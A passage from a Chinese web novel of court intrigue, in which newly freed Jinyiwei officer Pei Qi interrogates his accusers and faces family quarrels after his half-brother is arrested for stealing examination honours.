裴期摇了摇头,虽然说他现在在牢里,可还是有人给他送来换洗衣物,都是按着气温送的,并不会让他冷到。 “那就好。”李稷说,他微笑着告诉裴期,“父皇已经下令,让你出狱,官复原职,并负责审理此案。” 他先去皇宫就是为了请那道旨意。 裴期眼睛睁大,“那太好了。” 说着他试着踏出了牢房外。 果真,在外面的感觉格外好些。 裴期脸上露出点欣喜来。 李稷看着他,他挑了挑眉,问:“你想审人吗?” 他脸上的笑容加深,“如今你已官复原职,自然可以负责审讯。” 裴期微微一愣,随即眼中闪过光亮,他刚从里面出来,此刻觉得什么都有趣,“殿下,要审何人?” 李稷轻眯双眸,“妄图加害你的人。” 听到这句话,同在一个牢房的裴建和陈江源瞬间便神经紧绷了起来。 裴期转头看向牢房内另外两人,只见他们二人面色瞬间变白,身体也不自觉地微微颤抖起来。 陈江源更是不忿,捏着一把文人傲气:“叫他来审我,你们究竟知不知道什么叫做避嫌?” 旁边的两个锦衣卫退开避让李稷的时候,恰好便站到了他的牢房门口。 此刻那两个锦衣卫看向他,方才面对裴期时的和善与谄媚通通消失不见。 脸上尽是冰冷与嘲讽,看得陈江源脊背都发凉。 “陈大举人,你知道圣旨是什么意思吗?” 陈江源瞬间变满头冷汗直冒,他刚才说的话足以让他九族被诛杀。 随后,太子身后跟着的人便把陈江源和裴建的两个牢房打开,将他们全都提了出来,准备押去前方的讯堂。 诏狱和讯堂几乎便只是一墙之隔。 这几日他们成天都能传来讯堂那边传来让人牙酸的拷打声,因此只是刚被人从牢房里提了出来,他们两个便齐齐双腿发软。 可此刻也没人会救他们。 他们不敢反抗,只能脸白着,乖乖地像个小鸡仔一样被人提走。 裴期见到他们被拿去讯堂,他没有什么动作,因为此时他仍然对于现在自己应当怎样审问有些无措。 毕竟这不同于科举巡考,看字面意思就知道自己该做些什么。 李稷也察觉到了他的无措,他知道裴期心中良善,不愿意伤害别人,因此一时之间对于审讯的事不知所措。 但总是要有这么一回的。 总是要有个开始的。 手里若有了权柄,便不再能容忍自己被伤害。 于是,他与裴期对视,说道: “你有圣宠,有权柄,便要去用、去拿,让它们化作你的刀,你的剑,无论是谁伤害了你,便要让他们付出刻骨的代价。” 裴期听到这话,先是一怔, 然后下意识去看向看着李稷的眼睛,他从未见过李稷这样,在从前他时常会不自觉的被李稷稍微灰暗一点的那只眼睛吸引住,觉得幽深又平静。 可现在,他只觉得李稷的眉眼之间仿佛有什么东西在烧一样。 烧地他心头发烫。 心头发烫的血液随着心脏的跳动蔓延到四肢。 裴期听见了自己的声音, “殿下,我明白了。” 李稷看着他的样子,心中则略微有些满意。 他知道,无论裴期背后的是谁,都绝不可能像自己一般给地出滔天的权柄。 不知为何,他忽然想说这话, “裴期。”李稷说:“你背后的人护不了你。” 他这话刚一出口便后悔。 此时明显并不是点明此事的最好时机。 他话刚说完,裴期忽然眉头紧锁。 李稷也跟着心中有些许的紧绷。 然后只见裴期迅速地回了一下头,确认了身后的情况了之后再将头转了回来,他的表情略微有些迷茫。 “殿下,我的背后没人。” 裴建冒领功名? 李稷笑了一声。 他没想到裴期是这样的反应。 不过转念一想, 现在也确实不是该说这个的最好时机。 无论是裴期真的没听懂,还是暂时并不想与自己交流这样的事,他也并不打算追根究底。 只是他自己也并没想到自己为何按捺不住要问。 那一刻他自己仿佛并不受自己驱使。 现在这样, 双方都当做不知道的样子应该是此下情况的最优解。 于是他说:“没事,去讯堂吧。” —— 裴期在第一天当差的时候便来过这个地方。 只是那时审讯的是官职比较高,从前比较受宠的,还会格外照顾一番。 但审讯裴建和陈江源便不必顾忌这么多了。 裴期一路走进去, 他身上的衣服尚没有换一下。 其实也是才刚刚从诏狱当中出来的, 甚至连身上粘着的灰尘也还没来得及拍掉。 可他只是刚来到诏狱的门外, 里面有人笑容满面地跟他说话, “裴千户, 已经将你要审讯用的东西准备好了, 还为您准备了茶水, 糕点在桌子上。” “裴千户,你有什么不好的,随便跟咱们说就行,咱们审人没有千次也有百次了。” 裴期还是第一次被人这么奉承,因此他先是回头看了一眼李稷。 只见李稷微笑着朝他点头。 于是裴期便对着两个校尉微微领首, 他神色平静, 大步迈入讯堂之中。 他目光在四周扫视, 这诏狱里弥漫着一股阴暗潮湿的气息,墙壁上还渗着水珠。 进入讯堂的内部, 裴期看到挂着的一墙森然刑具, 有皮鞭、铁钳、铁签, 夹棍等物,旁边更是烧着一盆正在燃的炭火。 炭火映照着裴期的脸,忽明忽暗。 于是, 陈江源被压进讯堂的时候就是看到这样的一幕,光线阴暗的讯室中,他曾经铤而走险诬陷的那人端坐于他的面前,身姿挺拔,面容冷峻。 裴期身上的衣服是暗色,微弱烛光下,他的身影散发着莫测的气息,阶下,被绑着的陈江源瑟瑟发抖,眼神中满是惶恐。 太子坐在一旁看着,他手里拿着一杯冷热刚好的茶水,若是仔细看,便能看到他带着笑意的神色。 像是在欣赏自己的作品。 这时旁边忽然传来一声惨叫。 原来是旁边同时在审讯的别人, “别,我招了!不要!” 惨叫声一声高过一声,在讯堂里回荡,让陈江源的脸色变得更加惨白。 裴期却并没有为此声音影响,他斟酌着,问:“你如此诬陷我,可是背后有什么人指使?” 方才来讯堂的路上,太子已经大致跟他说了陈江源和裴建的情况。 裴建看似是被人指使的,知道了题目,并且特意写了答案泄题。 其实只是被人送了一份题目过来,与公开售卖科举题目和答案的人并没有联系。 而陈江源,看似是近日才进京,临时起意要诬陷他的,其实是被人特意搜罗了起来告状,引地御史上朝之时当众弹劾裴期的。 陈江源听到他的问话,身体抖如筛糠,可嘴上却半点不服输,在他的心中,杨明考童子试便都用了三次才过,如今在会试之中,考试如此顺利,定然是有别人的帮助。 “难道我说错什么了吗?”陈江源强装镇定,他虽然跪在地上手被绑住,可又直起腰来,仿佛自己手中握着真凭实据一般, “难道你并没有特意帮助杨明作弊吗?你只是仗着有恩宠护身,因此才没事罢了,若是他人现如今跪在这里的该就是你。” 裴期倒是有些好奇,自己从未见过此人,他是从何处得出结论自己会帮助杨明作弊呢? 于是他便问:“你有什么凭据?” 陈江源终于能将自己的身形稳住, “我便是凭据,我看到那日,钱金酒楼燃放烟火之际,你与杨明交头接耳,趁机便将题目泄给了他,且你之前便与杨明交好,又有什么不可能的?” “你之前都没来过上京,又为何会知道我之前便与杨明交好,你不是会试的前几日才来的吗?”裴期问,他神色锐利,并不同平时。 陈江源这才意识到自己说漏了嘴,他抿着唇,豆大的汗珠从额头滑落。 “不管怎么说,我也是举人,你们竟然这么对我。” “举人?”裴期就眉毛上抬,脸上有些故意嘲讽的模样,“你知道你这样的,如今在上京有多少个吗?” 九千个。 陈江源被裴期这一番质问弄得面红耳赤,他张了张嘴,却一时不知如何反驳。 多说无用,裴期的头稍稍往上抬了一下,看向陈江源背后那一墙的刑具,然后他又视线移动,将墙上地上,所有的刑具全都尽收眼底。 好像是在挑选一般。 随后他眼色一停,旁边站着的锦衣卫便十分识趣地将他看中的夹棍拿了上来。 看到裴期的神色,旁边的李稷忍不住勾了勾唇。 学会吓人了。 夹棍的样子长得十分简单易懂,只要把人的双腿放在棍子之间两边的人在一用力,任事什么人的腿骨都能被夹地粉碎。 在这时,旁边那个惨叫的人叫声戛然而止,忽然之间便没了声息。 一股腥味传来,与之一起的,还有地上淌过来的鲜血。 旁边的负责审讯的锦衣卫过来,脸上带着歉意,“抱歉,裴千户,是审讯时,我们这边新来的下手不知轻重,不小心便把人弄没了。” 陈江源听了,感觉自己的浑身都发起了麻,他现在才真切地意识到,这里是锦衣卫,不是大理寺。 锦衣卫这里并不在乎审你时会不会将你弄死,有的甚至不在乎结果如何,甚至把人审死了,也只是草草拉走,不知道往什么地方一丢。 这些人审与自己无关的案子尚且如此,可眼前的这个人不仅是千户,正五品,还被自己告发入狱,不知道还会怎么对待自己? 他可不相信眼前人会秉公办案。 都当上锦衣卫千户了,能是什么好东西? 他急促地呼吸着,好像有股血直冲天灵一样。 见他不说话,旁边负责辅助的两个锦衣卫,便已经熟练的把他的腿放在了夹棍之间。 眼看这两个锦衣卫就要发力,陈江源忽然大喊出声。 “别!别!我说,我说。” 此刻,他曾苦苦维持的清高自傲全然比不上他完整健康的一双腿。 旁边的锦衣卫见状也是诧异地停住了动作,这么不经审的人他们还是第一次见,之前需要带到锦衣卫审的都是那种硬骨头、嘴硬的,起码也是要上过一次夹棍才肯说的。 他们还是第一次看到骨头这么软的人到这儿来受审。 裴期见状,微微抬了抬手,“那你便说清楚。” 随后陈江源咬着下唇,一脸屈辱地竹筒倒豆子一般,将所有的事情说了出来。 原来他那是喝了酒,发了酒疯之后,便不准备去后面的考试,回家之后便骗自己的家人说是自己没中了。 后来去外边买吃食的时候遇到个十分谈得来的举人,那举人跟他说,其实科举的题目早就已经被泄露出去了,现在考试的人都是傻子,又说自己认识人,可以主持公道。 他被怂恿了两句,便决心跟着这举人去匿名举报,只是没想到后边被人发现,他不得不表露自己的身份。 只是在这期间他接触了之前从未见过的达官贵人,有皇子还有御史,便一时之间觉得自己被众多权贵护着,不用担心其他。 裴期问他是哪个皇子,他便眼神闪烁,支支吾吾了半天,说是五皇子的人。 裴期皱了皱眉,他想起之前给裴建送来题目的也是五皇子叫的人。 可他又想起太子所说的,若一件事情过于明显,便并不是他表面的意思。 所以,要么真的是五皇子插手了科举事件,要么便是其他人要陷害他。 太子是绝不可能做出这种事的,若不是皇室的人陷害五皇子也并没有好处,所以应该是谁呢? 裴期脑海中思索,试图自己分析出答案。 他的面上却让旁边的两个锦衣卫把陈江源带了出去。 那两个锦衣卫一左一右把陈江源架着,陈江源心中暗自庆幸着自己并没有受什么皮肉之苦,可这时他又听见旁边那两个锦衣卫的议论声。 “他这时招了倒是少受些苦。” “不过,他做了这事,届时受的罚可并不比夹棍的苦轻松多少。” 陈江源听了便双腿一软,旁边的两个锦衣卫,使劲往上拉着才把他拉住。 早知今日又何必当初呢? —— 他审完了,便是裴建。 原本两人是要在一起审的,可二人显然在之前并没有联系,因此裴期觉得分开才较好。 随着镣铐声响起。 只见裴建面色灰败,裴期还没有说话,他便俯身在地上说了所有的事情。 他从未想过有朝一日自己趴在地上,裴期却在上边,对方的手上还握着自己的生死,只要稍稍动一动嘴,便能给自己带来许多折磨。 想起自己之前是如何对待裴期的,他心中愈发发凉。 扪心自问,若是有人对待自己那样,自己若是到了现在这样的情况,是绝不可能做到公正的。 他甚至有可能在此时趁机叫人将对自己抢了自己东西的人“不小心”弄死,好拿回来自己的东西。 他趴在地上,心知自己死期已到,十分绝望,只感觉自己的指尖凉地厉害。 可就在此时,他只听见自己的头上传来一声。 “我知道此事你是受牵连,被人诬陷,待会儿你去前堂,做一份记录,便可离开了,后续有罚俸之事自然会知会你。” 锦衣卫拷打的手段残酷,在之前常会有屈打成招的事,因此在这里说错了话,指证了别人,一般并不看作是诬陷。 只是裴建虽与科举作弊无关,可多少也受到了牵连,因此罚俸禄已经是皇帝格外爱才的结果了。 毕竟也是上次科举的探花。 裴建简直不敢相信自己听到了什么,几乎要以为这是自己的幻觉了,他惊愕的抬起头看向裴期。 只见对方神色平静,无波无澜,好像自己并不是那个抢了他爵位和家产的卑鄙小人。 他意识到裴期与自己是截然不同的两种人,他很明确的知道裴期讨厌自己,对方还是秉公处理,并没有借题发挥,公报私仇。 有权却不滥用,是天生便适合手握重权的。 裴建忽然心生一种嫉妒。 他还是比不过裴期。 他还是比不过。 旁边有人将他拉起来,有些不耐烦地说:“裴千户都这样说了,你还不走,难不成还想一直在这儿?” 裴建浑浑噩噩地跟着旁边人出去了。 李稷看着这人出去的背影,眉毛微抬。 他知道裴期是什么人,他知道裴期绝不会趁此机会落井下石。 但裴期不计较,却并不代表他也不放在心上,他早已经开始让人查了裴建。 李稷将手边的茶放下,说:“要不先不回裴府,趁现在顺路去看看你的新宅子?我听闻你之前是打算去看的,只是后来出了意外便没机会去了。” 裴期也想起了这个事情,于是他略一思索,便说:“确实有这回事,殿下,我想找工匠按我的心意翻修一番,若是有缺的再定制几样家具。” “只是我不太好继续麻烦钱苗,殿下,不知道您认识好的工匠吗?” 李稷勾了勾嘴角,倒是很自然地麻烦自己了,“孤倒是认识一些,改日便找人叫去到你的府上。” 裴期点了点头道谢。 —— 事情过后,领了几年的俸禄的罚,裴建不过一会儿便回到了裴府之中。 只是刚一进门,便看到了意想不到的一幕。 自己的祖父与一个虽然年近中年却仍看得出来貌美的女子坐在一起满面笑容地说笑。 那模样竟然跟真正的夫妻一般。 裴建眉心一跳,“祖父,你在干什么?” 他祖父见到了他吓了一跳,他并不知道裴建之前去诏狱呆了一回,以为裴建只是从考试院中回来了。 于是连忙说:“子兼,你这……怎么突然回来了?”说着,眼神还不自觉地往那女子身上瞟了瞟。 那女子倒是镇定许多,起身微微福了福身,“见过裴公子。” 只是奇怪的是这女子看见裴建,眼中竟隐隐闪着泪花。 裴建皱着眉,目光在两人身上来回打量,“祖父,这位是?” 祖父轻咳一声,“哦,这是……这是我的友人,今日正巧过来叙叙旧。” 裴建经历了这几日的事情,有些累,只觉得心中烦闷,却也并不想现在就管。 于是他只是闭了闭眼便要往里面走。 只是在这时,裴府的门忽然被敲响。 在这时会有什么人来找呢? 裴建心中隐隐有些不祥的预感。 他还没做出反应,旁边的祖父却已经差人将门打开了。 只见外面站着一群穿着大理寺官服样式的人。 他们进来,仔细核对了一番裴建的面貌。 然后为首的人对后边说,“带走。” 裴建刚出锦衣卫,自然对此事十分抗拒,因此他并不让人押着自己。 “你们要干什么?之前的事情都已经结束了,我是没有罪的。” 为首的大理寺的人点了点头,“我知道你与之前科举舞弊的事情没关系,可我们来拿你并不是为了这事。” 只见那人拿出了两份答题的试帖,那两份是试帖的字迹几乎没有一处是一样的。 “裴建,你涉嫌到冒领他人功名,你之前是叫杨建还是叫杨明你应当自己明白。” 裴建听到这句话,全身变更被冰封住了一般,脸上瞬间褪去全部的血色。 当初裴建被带到上京来的时候,已经是有了秀才的功名,且年龄又小,众人一时之间全都奉为神童。 祖父听到大理寺的问话,到了现在才反应过来,他费力的将木轮椅推到了裴建的附近,“他们在说什么?我怎么不懂?子兼,你说给祖父听,他们在说什么。” 裴建整个人摇摇欲坠,没有理会他的祖父,只是跟大理寺的人说,“我跟你们走。” 祖父行动不便,只能眼睁睁的看着裴建被人带走,他心中心急如焚。 虽然涉嫌冒领的功名,可裴建也毕竟是…… 是他们裴府的血脉!更何况还是这样的聪慧,以后能成大事的,绝不能就这么被埋没了。 他着急上火,却也并不能想出什么办法。 那位女子更是扯着他的衣角,声音着急又哽咽,“怎么办啊,你快点想办法呀,你之前答应过我的,不会让子兼受苦的。” 忽然,祖父便想到了一个人。 裴期。 近几日他听下人说,裴期好像能在圣上的面前说上话了。 只要裴期在皇帝面前替裴建说两句,那裴建的平安的不是问题,甚至还有可能升官呢! 于是他抓住旁边的一个下人,朝他大声吼道,“去!去找裴期!让他回来!让他快回来!让他回来去救子兼。” 旁边的下人被他摇晃着,却一句话也不敢说。 其实,皇帝对于大爷的偏爱如今许多人都已经知道了,稍微有点见识的出去打听一番就能知道现在裴期的身份地位并不同以往。 怎么会是他们能随意冒犯的? 只是他们毕竟是在裴府里面做活,他们知道裴期祖父并不喜欢裴期,于是在府里只说关于裴期的消息也只是受宠。 其他的一听便会让人眼红的消息,他们是一个也不敢跟裴期祖父说。 祖父见到他们一个两个的都不说话,勃然大怒,“你们一个两个是都哑巴了吗?” 旁边的女人也着急,于是便提议道:“他们不去,我们去吧,事出突然,若是去慢了,恐怕子兼要在大理寺遭罪。” 裴期祖父觉得面子挂不住,可为了裴建,他也只好咬了咬牙, “好。” 到了那边,他可要好好说一番裴期,在外边这么久,都忘了自己府上了。 裴期你被夺舍了? 放榜日, 举子们围在会试名次的榜前,仔仔细细地查看着榜单上是否有自己的名字。 而那些家中家境颇好的便会派人去抄写,然后便带回家里来。 来往人员拥挤, 钱苗父亲则灵机一动,招揽了学子来酒楼吃饭,然后再自己派人去抄写榜上的名单。 届时酒楼里总会出个名次靠前的,到时候酒楼顺理成章的说自己是状元楼, 便能赚一波又一波的噱头。 杨明也顺理成章地被邀请到了这酒楼里边儿。 派出去的人将名次抄了回来, 只见杨明赫然在最上面。 钱苗的父亲第一时间就通知了他。 他还没来得及高兴, 就只听外面钱苗告诉钱苗的父亲说:裴期被放出来了,其中圣宠可见一斑。 杨明莫名觉得心慌。 从哪里放出来了?裴兄又被抓去了哪里? 于是他一把推开自己这间雅间的门, 出去问:“裴兄怎么了?” 钱苗看了他的父亲一眼, 只见他父亲微微的摇了摇头, 于是他然后说: “杨明,你无需知道这么多,你考上了,便就是殿试,你是第一, 皇上对你的关注颇多, 若你在这时失了方寸便不好了。” 杨明其实心里也明白这件事, 可他是这样的人,他要知道事情是怎样的才能够放心, 若是不知道才会更让他心慌。 “钱苗, 如果如果我不知道裴兄怎么样了, 才是真正的会失了方寸。” 钱苗皱眉,在思考回不回答,如何回答。 可杨明却已经等不及了, 冲动之下他竟准备直接去问问裴期,问问发生了什么。 可钱苗父亲却伸出手将他拦了下来。 他虽然面上还是带着笑,可神色却隐约有种冷意, “举人,此事本就是因为您与裴千户被人污蔑没有避嫌而导致的,此时科举还未有结束,若是你再去和千户接触岂不是正中下怀?” 杨明此时理智也也回到了身体里,于是他一垂眸,“您说的对。” 他重新回到雅间里,现在这时他们二人确实不宜接触。 而钱苗父亲却转身对钱苗说。 “你带上我准备的那些礼品前去拜访一下裴千户,说是恭贺他沉冤得雪。” 钱苗挠了挠头问道:“爹,你方才不是还说要避嫌吗?” 钱苗父亲有些无奈,若是自己儿子有别人十分之一聪明便好了,他也不必筹谋那么多,“举人与考官要避嫌,你一个小小的校尉与千户避什么嫌?” 钱苗这才反应过来,但他又说,“送礼物做什么?裴期并不是那会收礼物的人,送过去了,只会又被他送回来,况且我与他是朋友,不必如此对待。” 钱苗的父亲笑了一声, “我绝不信这世上没有金钱不能打动之人,若是有,那一定是不够。” “你现在虽是与千户交好,可能保证以后他就记得你吗?他以后会认识尚书,内阁,你与他不过是一起巡逻了几场的情分,不是以后有什么需要他帮忙的,还得现在便开始维护关系为好。” 钱苗其实知道这事,他隐隐约约也冒出过这个念头,可很快这个念头便被自己打消了,因为他觉得裴期根本不是那样的人。 可他家为他这锦衣卫的差事求人的时候便遇到过翻脸不认人的,所以他父亲格外小心。 钱苗也没办法,只能闷闷地嗯了一句。 —— 而另一边,裴期回到了忠勇侯府中,一进门便看见自己母亲与其他几个面色铁青的样子。 他刚想出声问发生了什么,往前走了几步,赫然只见自己的祖父在里边,一位保养得当的中年女子帮忙推着木轮椅。 见到裴期回来,他的祖父忽然睁大了眼睛,连忙示意旁边站着的女人将他推了过来。 他一开口便十分不客气,“裴期,你的弟弟出了事,你该去救他。” 裴期面色沉了下来,方才回到家中的愉悦也荡然无存。 “裴建之前被关在牢中,今天已经放了出来。” 祖父停顿了一会儿,好像是没听懂的样子,随后他脸上浮现震惊的神色,“什么他之前被关过,裴期,你为何不告诉我?” 随即他像是想到了什么一样,冷笑一声,“我就知道,你从小嫉妒他,嫉妒他比你聪明,比你更能得功名。” 到了这里,裴期的外祖父再也忍不下去。 “够了。”他出声打断眼前的人说话,“若不是你儿子娶了我女儿,你连进这忠勇侯府的资格都没有。” “当年不过是给先帝提了几次刀得来的爵位,如今居然训起人来了,看来也是在家瘫了许多年,还以为朝廷里在弄重文抑武的那一套。” 当年皇帝的重文抑武这直接导致当年朝中官员没一个敢送自己的孩子去习武,学兵法的,全都卯足了劲去学诗词歌赋。 可现在虽然朝中虽然文臣仍比武将地位高超,可由于边关战事又在频发,因此现在倒是出现了均衡之意。 裴期的祖父被这一番话气的面色发白,胸口止不住地起伏。 然后他又把头转向了裴母。 “你!你说!你说让裴期去救子兼。” 可出乎他意料的是裴母站在原地,她眼神看向地上,不知道在想些什么,但愣是一句话也没有回。 他怒极反笑,“好啊,好啊,连你现在都不听我说话了。” 他将这句话说完又捶着自己的双腿。 “我看你是都忘了,我看你是都忘了,当初我与我那妻子为了救你,我双腿皆废,她掉落悬崖全尸都未找到,原来当年竟是救了一匹白眼狼。” 裴母闭了闭眼睛,仿佛又想起当年的惨状,身体微微发颤,有些摇摇欲坠的模样。 裴期面露疑惑,他看向自己的母亲,“母亲,你怎么了?当年是什么事?” 裴母勉强地笑了一下,对裴期说, “当年我刚刚有你,你在我肚里三个月的时候,我便想上那个很灵的寺,为你求一道平安符,未曾想突遭大雨,地面湿滑,我的马车不慎卡在悬崖边,他们为了救我,便……” 她的声音有些哽咽,后面的话已然说不下去。 旁边的外祖父和外祖母在裴期养伤的那几日便得知了这事,得知了这么多年自己女儿带着外孙避而不见的原因。 他们此时只是暗恨自己为何将女儿养成了这样重情重义的模样,若是再自私、薄情一点,便不会落到如此下场。 听到这里,裴期更加想不明白, “可此事并非母亲故意的,天降大雨,没有人能预料到,他们救了您,是对您有恩,可您这么多年来从未忤逆过祖父,好生的照料着,难道还不算报恩吗?” 听到这里,裴母一愣,似乎在思考裴期话中的意思。 裴期祖父旁边站着的那女人见了她这样子,一时间竟是有些急了。 她使劲摇晃着裴期祖父的轮椅,“你不是说他们全都会听你的话吗?你快让他们去救子兼!再晚一点子兼便要受苦了。” “闭嘴。”裴母站在原地没动静,一会儿之后忽然出声。 那女人愣了一下,转头看向裴母,面色十分诧异,“你说什么?你敢这么对我们说话?” 裴母咬着牙, “我有什么不敢的,你敢吗?你敢现在说你是什么人吗?” 她这话说完,那女人和裴期祖父都涨红了脸,只是愤恨地瞪向裴母,一句话也说不出来。 裴母接着又说, “是,我是欠你的,可小期不欠,我的父母也并不欠你,当年为了救你的腿,我连侯府中珍藏的药都拿去给了你,对待裴建我比对待自己的孩子还好,这还不够吗?” 她伸出手去拦住裴期,好像生怕裴期脑子一热,便答应了要去救,她承认有时候也怨过为什么裴期不是那种聪慧过人,可以一举夺魁的孩子,为什么不得父亲和祖父的宠。 可现在她明白了,不得宠就不得宠吧,谁稀罕? 她说,“小期绝不会去救你的裴子兼,这里没有一个人会去救他,让他自求多福。” 裴期的祖父从未见过裴母这般模样。 在他的印象当中,裴母虽然婚前比较任性,可经历了那件事之后便变得温顺懂事,因此忽然被这样对待,他一时之间有些错愕,嘴张了又闭半天,一句话也说不出来。 过了半晌,他才恼羞成怒的拂了一下衣袖,对旁边的女人说,“走!推我走,我就不信了,没有这家子人我还办不成事了!” 旁边的女人不肯推他,硬要他让人救裴建才好,两个人一时之间僵持在原地。 裴期很迟钝,他知道眼前的人在争吵,可他却并不明白这争吵的意义,难道说祖父觉得在这里吵了几下,自己便会去救人吗?在这里吵了几下,外祖父,外祖母便会去救人吗? 只是趁着祖父在这里还没有离开,他想将自己后面要干的事知会一下他。 “祖父,过几日我便会搬到自己的宅子去,届时我会将裴府上自己的东西全取来。” 他的东西其实不多,他主要想把长寿将军取过来,只是新的宅邸中一时之间并不能建起一个里边是盐水的池塘。 可他这话一说出去,在他的祖父眼里便就是他要离开裴府自立门户了。 裴期祖父一听这话,顿时瞪大了眼睛,脸上满是惊愕与愤怒,从前他只觉得裴期无论怎样都会留在裴府,都是裴府的人会为裴府出力。 可现在裴期这样一说,他便感觉心中空落落的,好像掉进了水中,身边没有任何东西可以借力。 “你说什么?为了不救子兼,你竟出此下策,你这样……这样……如何对得起祖宗礼法?” 他气得浑身发抖,憋了半天却只能憋出祖宗礼法四个字,手指着裴期,声音都有些变调。 裴府的祖训里,为了避免兄弟阋墙,的确不允许在兄弟二人都未成亲之时,其中一人搬出去自立门户。 裴期觉得自己这么久以来,从来没有在一天之内疑惑过这么多次,他问: “祖训之中还说爵位一定要传袭给嫡长子,还说家产不许在兄弟未分家之时便给其中一人,那会儿怎么就不用管祖宗礼法?” 他睁着眼睛,脸上是纯然的不解,像是个纯粹好奇的稚子一般, 问:“还是说祖宗礼法只对我起作用,不对裴建起作用?” 他的祖父让他这番话说地面上通红。 只觉得裴期果真跟着忠勇侯府的人学坏了,居然都能说出这样的话来嘲讽、讥讽自己了。 他说不出话来,旁边的女人也更是不敢听了。 只觉得裴期看上去一派的纯良与天真,像是个挺好打动,挺好拿捏的人,可说起话来却这般阴阳怪气。 嘴巴毒的,果真是锦衣卫,若是留在这儿,不知道他还要说什么话出来羞辱他们二人。 此时此刻,她只觉得自己与自己的孩子像是水中的浮萍一般无依无靠,一时间悲从中来,竟是落下了几滴泪。 祖父见了,十分心疼,便握着她的手,“窈娘,别怕,别怕,我在这里呢,我们走吧,我就不信没了他们我还救不了子兼,去找我的那些老朋友们未必没有一个肯救的。” 裴期见了这一幕,又不解地问:“祖父怎么方才还记挂着祖母,那样深情,现在又与这位女子如此恩爱,难道是我刚才听错了,我的祖母其实没死,只是魂魄托生到了这位的身上?” 他话说完,在场所有人都忍不住朝他看了看。 确实是,好毒的一张嘴。 不知道是从哪里学来的?之前怎么没看出有这样的天赋?看来锦衣卫是去对地方了。 那女子和裴期祖父听到这话,心中觉得果然此地不宜久留,他生怕听到裴期下句话又说出什么惊世骇俗的东西来,两个人忙不迭地走了。 裴期看着祖父和那女子匆匆离去的背影,微微皱了下眉头,心中却并无多少愧疚之意。他转头看向母亲,见母亲眼中虽有疲惫,但神色却比方才轻松了些。 “母亲,您没事吧?”裴期问。 裴母摇了摇头。 这边的事情结束下人才赶过来告诉裴期,外面有人找他,因为是之前的熟人,所以一时间并没有推拒,而是让他在那里等着,过会儿再来通报。 裴期听见是钱苗过来,也没想太多,便让下人带人进来了。 只见钱苗站在下人的身后,虽然隔得稍远,可仍能看见他满脸的惊愕。 他没有听错吧?刚才那是裴期在说话? 他上前来仔仔细细地将裴期前后左右看了一遍, 裴期问:“怎么了?” 钱苗说:“我看你是不是被诏狱里的冤魂夺舍了。” “你最近话本看的太多了。”裴期说。 他许的是真心 钱苗这时候才想起自己的正事来。 他有些局促地舔了舔嘴唇, 以前托人、拉关系这样的事不是没做过,可不知怎地面对裴期他就紧张起来。 只见他往旁边一侧身,就露出了后面带的几个下人, 下人又拉又抬地弄出了几箱东西,几个箱子都灰扑扑的,就算是抬着招摇过市,也不会有什么人好奇里面装了什么。 可等裴期走近, 下人把箱子一打开里面的金银珠宝的光几乎要把所有人眼睛闪到。 纵然是见多识广的外祖父也忍不住神色微怔。 他从前只听说自己的外孙认识了个富商的儿子, 却没想到富商原来有这么富, 这里边不是百年都难得一见的明珠,便就是商队来取好几年才能带回来的西方猫眼宝石。 还有那做工的金器, 以及温润细腻的羊脂白玉摆件。 只是看一眼便能明白送此礼的人如何富贵滔天。 裴期眉头微微一蹙, “你拿这些来做什么?我不想要, 也用不上。” 裴期知道钱是极好的东西,否则世界上也不会有那么多人削尖了脑袋去求,可他并没有什么概念,到现在为止,他的想法依旧停留在能用就好。 尤其还是自己的好友送过来用于“拉关系”的, 他便有些心生不适。 钱苗不知为何, 见到裴期这样子便心里有些发慌, 明明他之前也干过这事,甚至还被人毫不留情地羞辱过, 可现在就是有些心虚。 他说:“你, 你如今升了千户, 这是我父亲让我给你的……贺礼。” 他憋了半天才憋出贺礼两个字。 “我不要,你拿回去。”裴期毫不犹豫地说。 他的态度之快,没有一丝留恋, 引得外祖父,外祖母都赞许地看了他一眼。 确实,若是手里有点儿小权力,便会遇到这样的事情,同流合污简单,可洁身自好却是难事。 钱苗有些急了,“上次我送你的补品没有送好,我父亲骂了我好一顿,如今你全部退的话,我又要挨骂。” 裴期睁着眼睛,思索了一下,有些困惑,“为什么要骂你?东西是我不收的,若是他要说你,你就跟我说。” 钱苗这下也明白,裴期是绝不会收下的了,这其实与他预期的一样,但他却莫名松了一口气。 说老实话,虽然他面上看起来像是一定要将这些礼送到位的,可若是裴期收了才会让他更加失望。 钱苗心里终于轻松了些,便说:“我其实也知道你是这样的人,只是父命难违。” 他说完这话便又想起什么来, “方才看到你的祖父,我大约也猜到了他来是为了求你救人,只是估摸着你现在还不知道,因此我想跟你说说你入狱期间的事,让你心中有个准备。” “裴建是什么事?我记得他今日上午才刚从诏狱中放出来。”裴期问。 旁边的几人也都好奇,毕竟方才虽然跟裴期的祖父大吵一架,可他们在交谈的途中并不知道裴建究竟发生了什么事。 究竟是什么样的大事才会让裴建上午刚出来,下午便又被抓走了呢? “这事本来早几天便要查的,可裴建先一步被牵连入狱,因此才又搁置了,你入狱的期间,太子便让大理寺和锦衣卫的许多人查了。” “其实大理寺那边是怀疑他假冒身份,还与多年前的一场纵火案有关,只是现在手里尚且只有他冒领功名的实证,因此只能以这个罪行抓他。” 他说出这话,在场的人都有些吃惊,冒领功名已经是足够大胆的罪行了,本朝皇帝对科举之事看得十分重要,冒领功名极有可能是要处斩的。 更别提居然还有假冒身份与纵火案这一遭了。 裴母更是站在原地半天才反应过来。 她脑海中回忆着裴父将裴建抱回来的那一天。 裴建当时身分敏感,据说是瞒着所有人被送去了南方的富农家好生地养着。 只是后来那户人家中遭遇大火,一-夜之间只剩了一位熏地又是半哑又是腿瘸的女人。 裴父才不得不将他从富农的家中领了回来。 说是一回来便有功名在身,一时之间被所有人奉为少年天才。 裴期在家中本就不怎么受宠爱,裴建这样的少年天才一来更是被逼得连鱼目都不如。 仔细回想起来,当时……确实好像是没有仔细核查身份的,只是看裴建身上戴着当初送去时的信物,又对之前的事情如数家珍便没有怀疑。 难不成这么多年来,那老家伙竟然是替别人养了孩子? 这时外祖父幽幽开口, “观他今日暴跳如雷,想让你帮忙的模样,又去舍下面子求人只为了救一个不清楚是谁家的孩子,真想知道届时他得知此事的样子。” 外祖父心情颇好,便对着钱苗说:“我知道你是裴期的好友,今日不如就留下来用晚饭?吃完了才好将你那些东西都带回去。” 他挑眉看了看钱苗背后的那几个箱子,表情有些揶揄。 钱苗挠了挠头,“不用了,今天我来本来只是想求一下裴期让他下次任务时不要派我去青-楼盯梢的。” 裴期做了千户,自然有案子让他查,不过由于他才刚上任,一般都是一些官员嫖-妓或收受贿赂的事。 